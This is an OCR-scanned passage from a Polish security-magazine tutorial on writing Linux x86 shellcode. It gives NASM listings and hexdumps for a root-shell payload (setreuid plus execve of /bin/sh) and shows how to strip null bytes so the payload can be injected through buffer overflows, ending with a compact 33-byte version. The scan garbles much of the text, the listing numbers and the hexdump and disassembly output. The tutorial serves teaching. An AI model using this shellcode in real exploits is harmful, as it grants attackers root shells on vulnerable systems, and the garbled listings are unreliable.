uproszczonej postaci. Nie bedziemy
ich omawiag¢, ale zrozumienie ich bu-
dowy i zasad dziatania — biorgc pod
uwage nasza wczesniejszg analize
programu write2.asm — nie powinno
sprawiac¢ trudnosci. Nie zaprezento-
walismy réwniez nowej wersji pro-
gramu bind (na naszym CD w kata-
logu materials/shell), gdyz nalezy go
zmodyfikowa¢ w sposob identyczny
jak shell.

Usuwamy bajty zerowe
Nasze kody powioki moga juz byc
uruchamiane z wnetrza dziataja-
cych programéw — nie korzystajg
z segmentu danych i adresowania sta-
tycznego — ale nadal nie mogg zosta¢
wykorzystane w eksploitach. Zawiera-
ja one bardzo duzo bajtéw zerowych
(patrz Rysunki 7 i 8), ktére powodu-
ja, ze nie jest mozliwe skopiowane ko-
du do bufora za pomocg funkcji operu-
jacych na ciggach znakdéw. Sprébujmy
zatem zmodyfikowac kody powtoki wri-
te2.asm i shell2.asm tak, aby wyelimi-
nowac z nich wszystkie bajty zerowe.

Zaczniemy od zlokalizowania in-
strukcji, ktére musimy poprawic¢. Mo-
zemy skorzystaé z programu ndi-
sasm (patrz Rysunki 7 i 8).

Jak widac¢, najwiecej bajtow zero-
wych znajduje sie w instrukcjach ze-
rujgcych lub wpisujacych wartosci
do rejestrow i na stos (linie 8, 9, 10,
14 i5 w istingu 10 oraz linie 4, 5, 6,
13, 15118 w Listingu 14). Wynika to
z faktu, ze wszystkie liczby sg prze-
chowywane w 4 bajtach i, na przy-
ktad, instrukcja mov eax, 11 w ko-
dzie powtoki jest reprezentowana jako
B8 Ob 00 00 00 (mov eax to OxBS8,
a 11 to 0x0000000b).

Mozemy temu zaradzi¢ korzysta-
jac z mniejszych, jednobajtowych re-
jestrow AL, BL, CL i DL zamiast czte-
robajtowych EAX, EBX, ECX i EDX.
Dzieki temu bedziemy wprowadzac
tylko jeden bajt, w ktérym mozna re-

Szelkod w Linuksie

Listing 14. Plik shell2.asm

: BITS 32

; setreuid(0, 0)
mov eax, 70

1

2

3

4

5: mov ebx, 0

6 mov ecx, 0

7 int 0x80

8

9 jmp two

10: one:

11:

12: ; execve("/bin/sh",
["/bin/sh", NULL], NULL)

13: mov eax, 11

14: pop ebx

15: push 0

16: push ebx

17: mov ecx, esp

18: mov edx, 0

19: int 0x80

20:

21: two:

22: call one

23: db '/bin/sh', 0

prezentowac liczby od 0 do 255, co
w naszym przypadku w zupetnosci
wystarczy. Instrukcje mov eax, 11 za-
mieniamy wiec na mov al, 11 @ mov
edx, 14 N@mov dl, 14. Pojawia sie jed-
nak inny problem: jak wyzerowa¢ po-
zostate baijty rejestrow? Jedng z moz-
liwosci jest wprowadzenie do rejestru
dowolnej niezerowej wartosci (mov
eax, 0x11223344) a nastepnie jej od-
jecie (sub eax, 0x11223344). Mozna to
jednak zrobi¢ prosciej, uzywajac tylko
jednego rozkazu — xor eax, eax.

Skok na zero

To jeszcze nie wszystko. Na Rysunku 7
widaé, ze na poczatku kodu powtoki
znajduje sie grupa trzech bajtow ze-
rowych, odpowiadajgca instrukcji jmp
two (E9 17 00 00 00). Aby sie ich po-
zby¢ uzyjemy instrukcji jmp short two,
ktora dziata identycznie, ale zostanie
przettumaczona na EB 17. Poprawiony
tym sposobem program write2.asm,
znajduje sie na Listingu 15.

Na Rysunku 9 widaé, ze uda-
to nam sie usuna¢ z kodu powto-
ki wszystkie bajty zerowe i zmniej-
szy¢ jego wielkosc¢ do 44 bajtow. Tak
zmodyfikowany szelkod moze by¢
bez zadnych probleméw wstrzyknie-
ty i wykonany w programie podatnym
na atak przepetnienia bufora.
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™ ~/shellcode
[shellcode] § hexdump -C writez

00000000 9 le 59 b8 04 [00 00 00 bb 01 00 00 00 [..... Feinennnnn |
00000010 ba Oe cd 80 b8 01 bk S ——— |
00000020 cd 80 e8 dd £ff ff ff 68 65 6C 6c 6L 2C 20 77 |eveernas hellao, w|
00000030 6f 72 6c 64 21 Da |orld!

00000036

[shellcode] § ndisasm write2

00000000 ES1EDQ Jrp Ox21

00000003 [00O00) add [bx+si],al

00000005 59 pop ©X

00000006  BS0400 mov ax,0x4

00000009 add [bx+si],al

00000D00E  BEO100) mov bx,0x1

0000000E add [bx+si],al

00000010 BAOHDOD mov dx,Oxe

00000013  [0000) add [bx+si],al

00000015 CDBO0 int 0x380

00000017 Bs0100) mov ax,0x1l

0000001a 0000 add [bx+si],al

0000001C mov lx,0x0
0000001F add [bx+si],al
00000021 int 0x80
00000023 call 0Ox3
00000026 cdb OxFF
ooooooz7? Jup far [bx+si+0x65]
000000ZA 6C insh

000000ZEB 6C insb

0000002C  6F outsw

0000002D  2C20 sub al,0x20
000000Z2F 776F ja Oxa0
00000031 726C jo Ox9f

00000033 642104 and [fs:bp+si],cx

[shelleode]$ ]

Rysunek 7. Bajty zerowe w kodzie powtoki write2

£~ ~/shellcode =100
[shellcode] § hexdump -C shell2

00000000 b8 46 @0 _00 00 bh BT 00 00 00 b9 B0 00 00 00 ¢d | WFuvevvvrnieanensl
00000010 80 29 15 (0 00 00 bs Ob [0 00 00 Sh 68 @0 00 00 |.ovveevasee[hoas]

00000020 [OO 53 89 1 ba D0 00 00 00 cd 80 &8 €6 £ £f £f |.8.......0eenunsl

00000030 2f 62 69 6e 2f 73 68 | /bin/sh. |
00000038

[shellcode] $ ndisasm shellZ

00000000 BB4600 mov ax,0x46
00000003  [G000 add [bx+si],al
00000005 BEDOOO mov bx,0x0
ooooooos [0 add [bx+si] ,al
0000000A  BSEOOO] mov cx,0x0
noooooop  [BO00 add [bx+si],al
000000DOF  CDS0 int Ox80
00000011  ES1500 Jmp Ox29
00000014  [DOOO] add [bx+si],al
00000016 BSOETD mov ax,0xb
00000019 (0000 add [bx+si] ., al
0000001E SB pop hx

0000001C 650000
0000001F  [QODO
00000021 53
00Doo0DzZzZ 8S9E1
00000024  BADOOO)
00000027

push word OxO0

add [bx+si] ,al
push bx

mov cx,3p

mov dx,0x0

add [bx+ai] ,al

0D0000D2S  CD&0 int 0Ox80
OD00D0ODZE EBEGFF call Ox14
O0D0ODODZE  FF db DOXFF

0000002F FF2F Jrp far [bx]
00000031 62696E bound bp, [bx+di+0x6e]
00000034 2F das

00000035 7368 nc Ox9f
00000037 (00 db Ox00

[shellcode)$ I

Rysunek 8. Bajty zerowe w kodzie powtoki shell2

Teraz sprobujmy usunac¢ baj-
ty zerowe z programu shell2.asm.
Jesli jednak wykonamy w tym celu
identyczne operacje jak w przypad-
ku kodu write2.asm, to okaze sie,
ze jest jedno miejsce, z ktéorym ma-
my problem. Jest nim ostatni bajt ko-

du powtoki (Rysunek 8), znajdujacy
sie w definicji ciggu znakdw /vin/sh
(linia 23 na Listingu 14). Ten baijt jest
niezbedny do poprawnego dziatania
programu, gdyz oznacza koniec cia-
gu i pozwala na jego wiasciwe prze-
tworzenie przez funkcje execve.

www. hakin9.org

Listing 15. Plik write3.asm

BITS 32

jmp short two
1 one:

pop ecx

; write(1, "hello, world!", 14)

XOor eax, eax

0 oy O W N

9: mov al, 4
10: =xor ebx, ebx
11: mov bl, 1
12: xor edx, edx
13: mov dl, 14
14: int 0x80
15:

16: ; exit(0)

17: =xor eax, eax

18: mov al, 1

19: =xor ebx, ebx

20: int 0x80

21:

22: two:

23: call one

24: db 'hello, world!', 0x0a

Listing 16. Plik shell3.asm

BITS 32

; setreuid(0, 0)
XOor eax, eax
mov al, 70

xor ebx, ebx
XOr ecx, ecx
int 0x80

0 oy O W N

10: Jjmp short two

11: one:
12: pop ebx
13:

14: ; execve("/bin/sh",
["/bin/sh", NULL], NULL)

15: =xor eax, eax

16: mov byte [ebx+7], al

17: push eax

18: push ebx

19: mov ecx, esp

20: mov al, 11

21: =xor edx, edx

22: int 0x80

23:

24: two:

25: call one

26: db '/bin/shX'

Rozwigzanie, ktore mozemy za-
stosowa¢ polega na zmianie w zrodle
kodu powtoki znaku zerowego na in-
ny i dodanie instrukcji, ktéra w trakcie
dziatania kodu zmieni ten znak z po-
wrotem na bajt zerowy. Efekt jest wi-
doczny na Listingu 16 i Rysunku 10.
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Szelkod w Linuksie

™ ~/shellcode

[shellcode] § hexduwnp -C writed

00000020 6c 6c 6f 2c 20 77 6f 72
0oooo02e
[shelleodel$ ]

00000000 eb 17 59 31 cO b0 04 31 db b3 01 31 dZ2 bZ Oe cd |..
00000010 80 31 cO bO 01 31 db cd 80 eB8 e4 £f £ff £f 65 65
6c 64 21 Da

|1llo, world!.|

Rysunek 9. Poprawiony kod powtoki write

£ ~/shellcode

[shellcode] § hexdwnp -C shell3

00000020 ££ 2f 62 69 6e 2f 73 68 58
00000029
[shellcode]l$ []

00000000 31 0 b0 46 31 db 31 ¢9 cd 80 eb 10 Shb 31 c0 88
00000010 43 07 50 53 89 el b0 Ob 31 d2 cd 80 eS8 eb f£ff f1f

|1..F1.1..... [1..1
1€ PSe e iluonnnnnns |
| ./bin/shx

Rysunek 10. Poprawiony kod powtoki shell

i~ ~/shellcode

[shellcode] § nasm shell4.asm
[shellcode] § hexdunp -C shell4d

00000020 80
00000021
[shelleode] $ ]

00000000 6a 46 S8 31 db 31 ¢9 cd 80 31 c0 50 68 2f 2f 73
00000010 68 68 2f 62 69 6e 89 e3 SO 53 89 el 99 b0 Ob cd |hh/bin..PS......

|3FX1.1...1.Ph//s|

Rysunek 11. Ostateczna wersja kodu shell

Jak wida¢, znak zerowy zamie-
nilismy na X (linia 26). W linii 16 do-
dalismy instrukcje, ktéra przenosi
8 bajtéw z wyzerowanego rejestru AL
do miejsca przesunietego o 7 bajtéw
wzgledem poczatku ciggu (ebx + 7).
Dzieki temu funkcja execve otrzy-
ma poprawnie sformatowane argu-
menty, a my unikniemy znaku NULL
w kodzie powtoki.

O autorze

Michat Piotrowski, magister informatyki,
ma wieloletnie doswiadczenie w pracy
na stanowisku administratora sieci i sys-
teméw. Przez ponad trzy lata pracowat
jako inspektor bezpieczenstwa w insty-
tucji obstugujacej nadrzedny urzad cer-
tyfikacji w polskiej infrastrukturze PKI.
Obecnie specjalista do spraw bezpie-
czenstwa teleinformatycznego w jednej
z najwiekszych instytucji finansowych
w Polsce. W wolnych chwilach progra-
muje i zajmuje sig kryptografia.

Wielkos¢ kodu zbudowanego
z programu shell3.asm wynosi 41
bajtéw. Jesli zastosujemy kilka pro-
stych zabiegow, to uda nam sie go
zmniejszy¢ do 33 bajtow. Ostatecz-
na wersje tego programu prezentu-
je Listing 17.

Przede wszystkim zmieniamy
sposob, w jaki okreslamy program
do wykonania. Zamiast przechowy-
wac cigg znakéw w kodzie, zasto-
sujemy metode poznang przy okazji
programu write2b.asm, polegajaca
na witozeniu odpowiednich wartosci
na stos. W liniach 12, 13 i 14 wktada-
my na stos cigg /bin//sh zakonczo-
ny bajtem zerowym. Dodatkowy /
— mimo ze nie zmieni zachowania
funkcji execve — jest potrzebny, gdyz
dzieki niemu catkowita wielkos¢ cig-
gu jest wielokrotnosciag 2 bajtéw i ta-
twiej umiesci¢ jg na stosie korzysta-
jac z instrukcji pusn.

Druga zmiana dotyczy instruk-
cji znajdujacych sie w liniach 4 i 5.

W Sieci

*  http://packetstorm.linuxsecurity.com/shellcode — kody powtoki do pobrania,
*  http://www.rosiello.org/archivio/ The %20Basics %200f%20Shellcoding.pdf — szel-

kody dla poczatkujacych,

*  http://www.void.at/greuff/utf8_1.txt — kod powtoki zgodny ze standardem UTF-8,
*  http://nasm.sourceforge.net — projekt Netwide Assembler.

Listing 17. Plik shell4.asm

BITS 32

; setreuid(0, 0)
push byte 70
pop eax

xor ebx, ebx
XOr ecx, ecx
int 0x80

© L O o U W N

i
o

; execve ("/bin//sh",
["/bin//sh", NULL], NULL)
11: =xor eax, eax

12: push eax

13: push 0x68732f2f

14: push 0x6e69622f

15: mov ebx, esp

16: push eax

17: push ebx

18: mov ecx, esp

19: cdgq

20: mov al, 11

21: int 0x80

Sa one réwnowazne instrukcjom
z tych samych linii w Listingu 16 (xor
eax, eax 5 imov al, 70), ale o je-
den bajt mniejsze. ZamieniliSmy réw-
niez instrukcje xor edx, edx Na cdg
(linia 19), ktéra wypetnia rejestr EDX
bitem znaku z rejestru EAX. W na-
szym przypadku rejestr EAX jest ze-
rowy, co sprawia, ze cdq wstawi 0 do
rejestru EDX. Tak utworzony szelkod
wida¢ na Rysunku 11.

Zoptymalizowang wersje progra-
mu write zawiera Listing 18. &

Listing 18. Plik write4.asm

: BITS 32

1

2:

3: ; write(l, "hello, world!", 14)
4: push word 0x0a2l

5: push 0x646c726f

6: push 0x77202c6f

7 push 0x6c6c6568

8
9

mov ecx, esp

: push byte 4
10: pop eax
11: push byte 1
12: pop ebx
13: push byte 14
14: pop edx
15: int 0x80
16:

17: ; exit(0)
18: mov eax, ebx
19: =xor ebx, ebx
20: int 0x80
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